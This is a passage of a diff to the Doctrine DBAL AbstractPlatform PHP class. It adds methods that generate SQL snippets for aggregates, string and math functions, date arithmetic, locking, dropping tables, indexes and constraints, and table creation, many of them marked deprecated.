value of a column. + * + * @deprecated Use AVG() in SQL instead. + * + * @param string $column The column to use. + * + * @return string Generated SQL including an AVG aggregate function. + */ + public function getAvgExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getAvgExpression() is deprecated. Use AVG() in SQL instead.', + ); + + return 'AVG(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the number of rows (without a NULL value) of a column. + * + * If a '*' is used instead of a column the number of selected rows is returned. + * + * @deprecated Use COUNT() in SQL instead. + * + * @param string|int $column The column to use. + * + * @return string Generated SQL including a COUNT aggregate function. + */ + public function getCountExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getCountExpression() is deprecated. Use COUNT() in SQL instead.', + ); + + return 'COUNT(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the highest value of a column. + * + * @deprecated Use MAX() in SQL instead. + * + * @param string $column The column to use. + * + * @return string Generated SQL including a MAX aggregate function. + */ + public function getMaxExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getMaxExpression() is deprecated. Use MAX() in SQL instead.', + ); + + return 'MAX(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the lowest value of a column. + * + * @deprecated Use MIN() in SQL instead. + * + * @param string $column The column to use. + * + * @return string Generated SQL including a MIN aggregate function. + */ + public function getMinExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getMinExpression() is deprecated. Use MIN() in SQL instead.', + ); + + return 'MIN(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the total sum of a column. + * + * @deprecated Use SUM() in SQL instead. + * + * @param string $column The column to use. + * + * @return string Generated SQL including a SUM aggregate function. + */ + public function getSumExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getSumExpression() is deprecated. Use SUM() in SQL instead.', + ); + + return 'SUM(' . $column . ')'; + } + + // scalar functions + + /** + * Returns the SQL snippet to get the md5 sum of a column. + * + * Note: Not SQL92, but common functionality. + * + * @deprecated + * + * @param string $column + * + * @return string + */ + public function getMd5Expression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getMd5Expression() is deprecated.', + ); + + return 'MD5(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the length of a text column in characters. + * + * @param string $column + * + * @return string + */ + public function getLengthExpression($column) + { + return 'LENGTH(' . $column . ')'; + } + + /** + * Returns the SQL snippet to get the squared value of a column. + * + * @deprecated Use SQRT() in SQL instead. + * + * @param string $column The column to use. + * + * @return string Generated SQL including an SQRT aggregate function. + */ + public function getSqrtExpression($column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getSqrtExpression() is deprecated. Use SQRT() in SQL instead.', + ); + + return 'SQRT(' . $column . ')'; + } + + /** + * Returns the SQL snippet to round a numeric column to the number of decimals specified. + * + * @deprecated Use ROUND() in SQL instead. + * + * @param string $column + * @param string|int $decimals + * + * @return string + */ + public function getRoundExpression($column, $decimals = 0) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getRoundExpression() is deprecated. Use ROUND() in SQL instead.', + ); + + return 'ROUND(' . $column . ', ' . $decimals . ')'; + } + + /** + * Returns the SQL snippet to get the remainder of the division operation $expression1 / $expression2. + * + * @param string $expression1 + * @param string $expression2 + * + * @return string + */ + public function getModExpression($expression1, $expression2) + { + return 'MOD(' . $expression1 . ', ' . $expression2 . ')'; + } + + /** + * Returns the SQL snippet to trim a string. + * + * @param string $str The expression to apply the trim to. + * @param int $mode The position of the trim (leading/trailing/both). + * @param string|bool $char The char to trim, has to be quoted already. Defaults to space. + * + * @return string + */ + public function getTrimExpression($str, $mode = TrimMode::UNSPECIFIED, $char = false) + { + $expression = ''; + + switch ($mode) { + case TrimMode::LEADING: + $expression = 'LEADING '; + break; + + case TrimMode::TRAILING: + $expression = 'TRAILING '; + break; + + case TrimMode::BOTH: + $expression = 'BOTH '; + break; + } + + if ($char !== false) { + $expression .= $char . ' '; + } + + if ($mode !== TrimMode::UNSPECIFIED || $char !== false) { + $expression .= 'FROM '; + } + + return 'TRIM(' . $expression . $str . ')'; + } + + /** + * Returns the SQL snippet to trim trailing space characters from the expression. + * + * @deprecated Use RTRIM() in SQL instead. + * + * @param string $str Literal string or column name. + * + * @return string + */ + public function getRtrimExpression($str) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getRtrimExpression() is deprecated. Use RTRIM() in SQL instead.', + ); + + return 'RTRIM(' . $str . ')'; + } + + /** + * Returns the SQL snippet to trim leading space characters from the expression. + * + * @deprecated Use LTRIM() in SQL instead. + * + * @param string $str Literal string or column name. + * + * @return string + */ + public function getLtrimExpression($str) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getLtrimExpression() is deprecated. Use LTRIM() in SQL instead.', + ); + + return 'LTRIM(' . $str . ')'; + } + + /** + * Returns the SQL snippet to change all characters from the expression to uppercase, + * according to the current character set mapping. + * + * @deprecated Use UPPER() in SQL instead. + * + * @param string $str Literal string or column name. + * + * @return string + */ + public function getUpperExpression($str) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getUpperExpression() is deprecated. Use UPPER() in SQL instead.', + ); + + return 'UPPER(' . $str . ')'; + } + + /** + * Returns the SQL snippet to change all characters from the expression to lowercase, + * according to the current character set mapping. + * + * @deprecated Use LOWER() in SQL instead. + * + * @param string $str Literal string or column name. + * + * @return string + */ + public function getLowerExpression($str) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getLowerExpression() is deprecated. Use LOWER() in SQL instead.', + ); + + return 'LOWER(' . $str . ')'; + } + + /** + * Returns the SQL snippet to get the position of the first occurrence of substring $substr in string $str. + * + * @param string $str Literal string. + * @param string $substr Literal string to find. + * @param string|int|false $startPos Position to start at, beginning of string by default. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getLocateExpression($str, $substr, $startPos = false) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL snippet to get the current system date. + * + * @deprecated Generate dates within the application. + * + * @return string + */ + public function getNowExpression() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4753', + 'AbstractPlatform::getNowExpression() is deprecated. Generate dates within the application.', + ); + + return 'NOW()'; + } + + /** + * Returns a SQL snippet to get a substring inside an SQL statement. + * + * Note: Not SQL92, but common functionality. + * + * SQLite only supports the 2 parameter variant of this function. + * + * @param string $string An sql string literal or column name/alias. + * @param string|int $start Where to start the substring portion. + * @param string|int|null $length The substring portion length. + * + * @return string + */ + public function getSubstringExpression($string, $start, $length = null) + { + if ($length === null) { + return 'SUBSTRING(' . $string . ' FROM ' . $start . ')'; + } + + return 'SUBSTRING(' . $string . ' FROM ' . $start . ' FOR ' . $length . ')'; + } + + /** + * Returns a SQL snippet to concatenate the given expressions. + * + * Accepts an arbitrary number of string parameters. Each parameter must contain an expression. + * + * @return string + */ + public function getConcatExpression() + { + return implode(' || ', func_get_args()); + } + + /** + * Returns the SQL for a logical not. + * + * Example: + * + * $q = new Doctrine_Query(); + * $e = $q->expr; + * $q->select('*')->from('table') + * ->where($e->eq('id', $e->not('null')); + * + * + * @deprecated Use NOT() in SQL instead. + * + * @param string $expression + * + * @return string The logical expression. + */ + public function getNotExpression($expression) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getNotExpression() is deprecated. Use NOT() in SQL instead.', + ); + + return 'NOT(' . $expression . ')'; + } + + /** + * Returns the SQL that checks if an expression is null. + * + * @deprecated Use IS NULL in SQL instead. + * + * @param string $expression The expression that should be compared to null. + * + * @return string The logical expression. + */ + public function getIsNullExpression($expression) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getIsNullExpression() is deprecated. Use IS NULL in SQL instead.', + ); + + return $expression . ' IS NULL'; + } + + /** + * Returns the SQL that checks if an expression is not null. + * + * @deprecated Use IS NOT NULL in SQL instead. + * + * @param string $expression The expression that should be compared to null. + * + * @return string The logical expression. + */ + public function getIsNotNullExpression($expression) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getIsNotNullExpression() is deprecated. Use IS NOT NULL in SQL instead.', + ); + + return $expression . ' IS NOT NULL'; + } + + /** + * Returns the SQL that checks if an expression evaluates to a value between two values. + * + * The parameter $expression is checked if it is between $value1 and $value2. + * + * Note: There is a slight difference in the way BETWEEN works on some databases. + * http://www.w3schools.com/sql/sql_between.asp. If you want complete database + * independence you should avoid using between(). + * + * @deprecated Use BETWEEN in SQL instead. + * + * @param string $expression The value to compare to. + * @param string $value1 The lower value to compare with. + * @param string $value2 The higher value to compare with. + * + * @return string The logical expression. + */ + public function getBetweenExpression($expression, $value1, $value2) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getBetweenExpression() is deprecated. Use BETWEEN in SQL instead.', + ); + + return $expression . ' BETWEEN ' . $value1 . ' AND ' . $value2; + } + + /** + * Returns the SQL to get the arccosine of a value. + * + * @deprecated Use ACOS() in SQL instead. + * + * @param string $value + * + * @return string + */ + public function getAcosExpression($value) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getAcosExpression() is deprecated. Use ACOS() in SQL instead.', + ); + + return 'ACOS(' . $value . ')'; + } + + /** + * Returns the SQL to get the sine of a value. + * + * @deprecated Use SIN() in SQL instead. + * + * @param string $value + * + * @return string + */ + public function getSinExpression($value) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getSinExpression() is deprecated. Use SIN() in SQL instead.', + ); + + return 'SIN(' . $value . ')'; + } + + /** + * Returns the SQL to get the PI value. + * + * @deprecated Use PI() in SQL instead. + * + * @return string + */ + public function getPiExpression() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getPiExpression() is deprecated. Use PI() in SQL instead.', + ); + + return 'PI()'; + } + + /** + * Returns the SQL to get the cosine of a value. + * + * @deprecated Use COS() in SQL instead. + * + * @param string $value + * + * @return string + */ + public function getCosExpression($value) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getCosExpression() is deprecated. Use COS() in SQL instead.', + ); + + return 'COS(' . $value . ')'; + } + + /** + * Returns the SQL to calculate the difference in days between the two passed dates. + * + * Computes diff = date1 - date2. + * + * @param string $date1 + * @param string $date2 + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateDiffExpression($date1, $date2) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL to add the number of given seconds to a date. + * + * @param string $date + * @param int|numeric-string $seconds + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddSecondsExpression($date, $seconds) + { + if (is_int($seconds)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $seconds as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $seconds, DateIntervalUnit::SECOND); + } + + /** + * Returns the SQL to subtract the number of given seconds from a date. + * + * @param string $date + * @param int|numeric-string $seconds + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubSecondsExpression($date, $seconds) + { + if (is_int($seconds)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $seconds as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $seconds, DateIntervalUnit::SECOND); + } + + /** + * Returns the SQL to add the number of given minutes to a date. + * + * @param string $date + * @param int|numeric-string $minutes + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddMinutesExpression($date, $minutes) + { + if (is_int($minutes)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $minutes as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $minutes, DateIntervalUnit::MINUTE); + } + + /** + * Returns the SQL to subtract the number of given minutes from a date. + * + * @param string $date + * @param int|numeric-string $minutes + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubMinutesExpression($date, $minutes) + { + if (is_int($minutes)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $minutes as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $minutes, DateIntervalUnit::MINUTE); + } + + /** + * Returns the SQL to add the number of given hours to a date. + * + * @param string $date + * @param int|numeric-string $hours + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddHourExpression($date, $hours) + { + if (is_int($hours)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $hours as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $hours, DateIntervalUnit::HOUR); + } + + /** + * Returns the SQL to subtract the number of given hours to a date. + * + * @param string $date + * @param int|numeric-string $hours + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubHourExpression($date, $hours) + { + if (is_int($hours)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $hours as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $hours, DateIntervalUnit::HOUR); + } + + /** + * Returns the SQL to add the number of given days to a date. + * + * @param string $date + * @param int|numeric-string $days + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddDaysExpression($date, $days) + { + if (is_int($days)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $days as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $days, DateIntervalUnit::DAY); + } + + /** + * Returns the SQL to subtract the number of given days to a date. + * + * @param string $date + * @param int|numeric-string $days + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubDaysExpression($date, $days) + { + if (is_int($days)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $days as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $days, DateIntervalUnit::DAY); + } + + /** + * Returns the SQL to add the number of given weeks to a date. + * + * @param string $date + * @param int|numeric-string $weeks + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddWeeksExpression($date, $weeks) + { + if (is_int($weeks)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $weeks as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $weeks, DateIntervalUnit::WEEK); + } + + /** + * Returns the SQL to subtract the number of given weeks from a date. + * + * @param string $date + * @param int|numeric-string $weeks + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubWeeksExpression($date, $weeks) + { + if (is_int($weeks)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $weeks as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $weeks, DateIntervalUnit::WEEK); + } + + /** + * Returns the SQL to add the number of given months to a date. + * + * @param string $date + * @param int|numeric-string $months + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddMonthExpression($date, $months) + { + if (is_int($months)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $months as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $months, DateIntervalUnit::MONTH); + } + + /** + * Returns the SQL to subtract the number of given months to a date. + * + * @param string $date + * @param int|numeric-string $months + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubMonthExpression($date, $months) + { + if (is_int($months)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $months as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $months, DateIntervalUnit::MONTH); + } + + /** + * Returns the SQL to add the number of given quarters to a date. + * + * @param string $date + * @param int|numeric-string $quarters + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddQuartersExpression($date, $quarters) + { + if (is_int($quarters)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $quarters as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $quarters, DateIntervalUnit::QUARTER); + } + + /** + * Returns the SQL to subtract the number of given quarters from a date. + * + * @param string $date + * @param int|numeric-string $quarters + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubQuartersExpression($date, $quarters) + { + if (is_int($quarters)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $quarters as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $quarters, DateIntervalUnit::QUARTER); + } + + /** + * Returns the SQL to add the number of given years to a date. + * + * @param string $date + * @param int|numeric-string $years + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateAddYearsExpression($date, $years) + { + if (is_int($years)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $years as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '+', $years, DateIntervalUnit::YEAR); + } + + /** + * Returns the SQL to subtract the number of given years from a date. + * + * @param string $date + * @param int|numeric-string $years + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDateSubYearsExpression($date, $years) + { + if (is_int($years)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/3498', + 'Passing $years as an integer is deprecated. Pass it as a numeric string instead.', + ); + } + + return $this->getDateArithmeticIntervalExpression($date, '-', $years, DateIntervalUnit::YEAR); + } + + /** + * Returns the SQL for a date arithmetic expression. + * + * @param string $date The column or literal representing a date + * to perform the arithmetic operation on. + * @param string $operator The arithmetic operator (+ or -). + * @param int|numeric-string $interval The interval that shall be calculated into the date. + * @param string $unit The unit of the interval that shall be calculated into the date. + * One of the {@see DateIntervalUnit} constants. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL bit AND comparison expression. + * + * @param string $value1 + * @param string $value2 + * + * @return string + */ + public function getBitAndComparisonExpression($value1, $value2) + { + return '(' . $value1 . ' & ' . $value2 . ')'; + } + + /** + * Returns the SQL bit OR comparison expression. + * + * @param string $value1 + * @param string $value2 + * + * @return string + */ + public function getBitOrComparisonExpression($value1, $value2) + { + return '(' . $value1 . ' | ' . $value2 . ')'; + } + + /** + * Returns the SQL expression which represents the currently selected database. + */ + abstract public function getCurrentDatabaseExpression(): string; + + /** + * Returns the FOR UPDATE expression. + * + * @return string + */ + public function getForUpdateSQL() + { + return 'FOR UPDATE'; + } + + /** + * Honors that some SQL vendors such as MsSql use table hints for locking instead of the + * ANSI SQL FOR UPDATE specification. + * + * @param string $fromClause The FROM clause to append the hint for the given lock mode to + * @param int $lockMode One of the Doctrine\DBAL\LockMode::* constants + * @psalm-param LockMode::* $lockMode + */ + public function appendLockHint(string $fromClause, int $lockMode): string + { + switch ($lockMode) { + case LockMode::NONE: + case LockMode::OPTIMISTIC: + case LockMode::PESSIMISTIC_READ: + case LockMode::PESSIMISTIC_WRITE: + return $fromClause; + + default: + throw InvalidLockMode::fromLockMode($lockMode); + } + } + + /** + * Returns the SQL snippet to append to any SELECT statement which locks rows in shared read lock. + * + * This defaults to the ANSI SQL "FOR UPDATE", which is an exclusive lock (Write). Some database + * vendors allow to lighten this constraint up to be a real read lock. + * + * @return string + */ + public function getReadLockSQL() + { + return $this->getForUpdateSQL(); + } + + /** + * Returns the SQL snippet to append to any SELECT statement which obtains an exclusive lock on the rows. + * + * The semantics of this lock mode should equal the SELECT .. FOR UPDATE of the ANSI SQL standard. + * + * @return string + */ + public function getWriteLockSQL() + { + return $this->getForUpdateSQL(); + } + + /** + * Returns the SQL snippet to drop an existing table. + * + * @param Table|string $table + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getDropTableSQL($table) + { + $tableArg = $table; + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + if (! is_string($table)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $table parameter to be string or ' . Table::class . '.', + ); + } + + if ($this->_eventManager !== null && $this->_eventManager->hasListeners(Events::onSchemaDropTable)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaDropTable, + ); + + $eventArgs = new SchemaDropTableEventArgs($tableArg, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaDropTable, $eventArgs); + + if ($eventArgs->isDefaultPrevented()) { + $sql = $eventArgs->getSql(); + + if ($sql === null) { + throw new UnexpectedValueException('Default implementation of DROP TABLE was overridden with NULL'); + } + + return $sql; + } + } + + return 'DROP TABLE ' . $table; + } + + /** + * Returns the SQL to safely drop a temporary table WITHOUT implicitly committing an open transaction. + * + * @param Table|string $table + * + * @return string + */ + public function getDropTemporaryTableSQL($table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + return $this->getDropTableSQL($table); + } + + /** + * Returns the SQL to drop an index from a table. + * + * @param Index|string $index + * @param Table|string|null $table + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getDropIndexSQL($index, $table = null) + { + if ($index instanceof Index) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $index as an Index object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $index = $index->getQuotedName($this); + } elseif (! is_string($index)) { + throw new InvalidArgumentException( + __METHOD__ . '() expects $index parameter to be string or ' . Index::class . '.', + ); + } + + return 'DROP INDEX ' . $index; + } + + /** + * Returns the SQL to drop a constraint. + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + * + * @param Constraint|string $constraint + * @param Table|string $table + * + * @return string + */ + public function getDropConstraintSQL($constraint, $table) + { + if ($constraint instanceof Constraint) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $constraint as a Constraint object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $constraint = new Identifier($constraint); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $table = new Identifier($table); + } + + $constraint = $constraint->getQuotedName($this); + $table = $table->getQuotedName($this); + + return 'ALTER TABLE ' . $table . ' DROP CONSTRAINT ' . $constraint; + } + + /** + * Returns the SQL to drop a foreign key. + * + * @param ForeignKeyConstraint|string $foreignKey + * @param Table|string $table + * + * @return string + */ + public function getDropForeignKeySQL($foreignKey, $table) + { + if ($foreignKey instanceof ForeignKeyConstraint) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $foreignKey as a ForeignKeyConstraint object to %s is deprecated.' + . ' Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $foreignKey = new Identifier($foreignKey); + } + + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + } else { + $table = new Identifier($table); + } + + $foreignKey = $foreignKey->getQuotedName($this); + $table = $table->getQuotedName($this); + + return 'ALTER TABLE ' . $table . ' DROP FOREIGN KEY ' . $foreignKey; + } + + /** + * Returns the SQL to drop a unique constraint. + */ + public function getDropUniqueConstraintSQL(string $name, string $tableName): string + { + return $this->getDropConstraintSQL($name, $tableName); + } + + /** + * Returns the SQL statement(s) to create a table with the specified name, columns and constraints + * on this platform. + * + * @param int $createFlags + * @psalm-param int-mask-of $createFlags + * + * @return list The list of SQL statements. + * + * @throws Exception + * @throws InvalidArgumentException + */ + public function getCreateTableSQL(Table $table, $createFlags = self::CREATE_INDEXES) + { + if (! is_int($createFlags)) { + throw new InvalidArgumentException( + 'Second argument of AbstractPlatform::getCreateTableSQL() has to be integer.', + ); + } + + if (($createFlags & self::CREATE_INDEXES) === 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5416', + 'Unsetting the CREATE_INDEXES flag in AbstractPlatform::getCreateTableSQL() is deprecated.', + ); + } + + if (($createFlags & self::CREATE_FOREIGNKEYS) === 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5416', + 'Not setting the CREATE_FOREIGNKEYS flag in AbstractPlatform::getCreateTableSQL()' + . ' is deprecated. In order to build the statements that create multiple tables' + . ' referencing each other via foreign keys, use AbstractPlatform::getCreateTablesSQL().', + ); + } + + return $this->buildCreateTableSQL( + $table, + ($createFlags & self::CREATE_INDEXES) > 0, + ($createFlags & self::CREATE_FOREIGNKEYS) > 0, + ); + } + + /** + * @internal + * + * @return list + * + * @throws Exception + */ + final protected function getCreateTableWithoutForeignKeysSQL(Table $table): array + { + return $this->buildCreateTableSQL($table, true, false); + } + + /** + * @return list + * + * @throws Exception + */ + private function buildCreateTableSQL(Table $table, bool $createIndexes, bool $createForeignKeys): array + { + if (count($table->getColumns()) === 0) { + throw Exception::noColumnsSpecifiedForTable($table->getName()); + } + + $tableName = $table->getQuotedName($this); + $options = $table->getOptions(); + $options['uniqueConstraints'] = []; + $options['indexes'] = []; + $options['primary'] = []; + + if ($createIndexes) { + foreach ($table->getIndexes() as $index) { + if (! $index->isPrimary()) { + $options['indexes'][$index->getQuotedName($this)] = $index; + + continue; + } + + $options['primary'] = $index->getQuotedColumns($this); + $options['primary_index'] = $index; + } + + foreach ($table->getUniqueConstraints() as $uniqueConstraint) { + $options['uniqueConstraints'][$uniqueConstraint->getQuotedName($this)] = $uniqueConstraint; + } + } + + if ($createForeignKeys) { + $options['foreignKeys'] = []; + + foreach ($table->getForeignKeys() as $fkConstraint) { + $options['foreignKeys'][] = $fkConstraint; + } + } + + $columnSql = []; + $columns = []; + + foreach ($table->getColumns() as $column) { + if ( + $this->_eventManager !== null + && $this->_eventManager->hasListeners(Events::onSchemaCreateTableColumn) + ) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaCreateTableColumn, + ); + + $eventArgs = new SchemaCreateTableColumnEventArgs($column, $table, $this); + + $this->_eventManager->dispatchEvent(Events::onSchemaCreateTableColumn, $eventArgs); + + $columnSql = array_merge($columnSql, $eventArgs->getSql()); + + if ($eventArgs->isDefaultPrevented()) { + continue; + } + } + + $columnData = $this->columnToArray($column); + + if (in_array($column->getName(), $options['primary'], true)) { + $columnData['primary'] = true; + } + + $columns[$columnData['name']] = $columnData; + } + + if ($this->_eventManager !== null && $this->_eventManager->hasListeners(Events::onSchemaCreateTable)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaCreateTable, + ); + + $eventArgs = new SchemaCreateTableEventArgs($table, $columns, $options, $this); + + $this->_eventManager->dispatchEvent(Events::onSchemaCreateTable, $eventArgs); + + if ($eventArgs->isDefaultPrevented()) { + return array_merge($eventArgs->getSql(), $columnSql); + } + } + + $sql = $this->_getCreateTableSQL($tableName, $columns, $options); + + if ($this->supportsCommentOnStatement()) { + if ($table->hasOption('comment')) { + $sql[] = $this->getCommentOnTableSQL($tableName, $table->getOption('comment')); + } + + foreach ($table->getColumns() as $column) { + $comment = $this->getColumnComment($column); + + if ($comment === null || 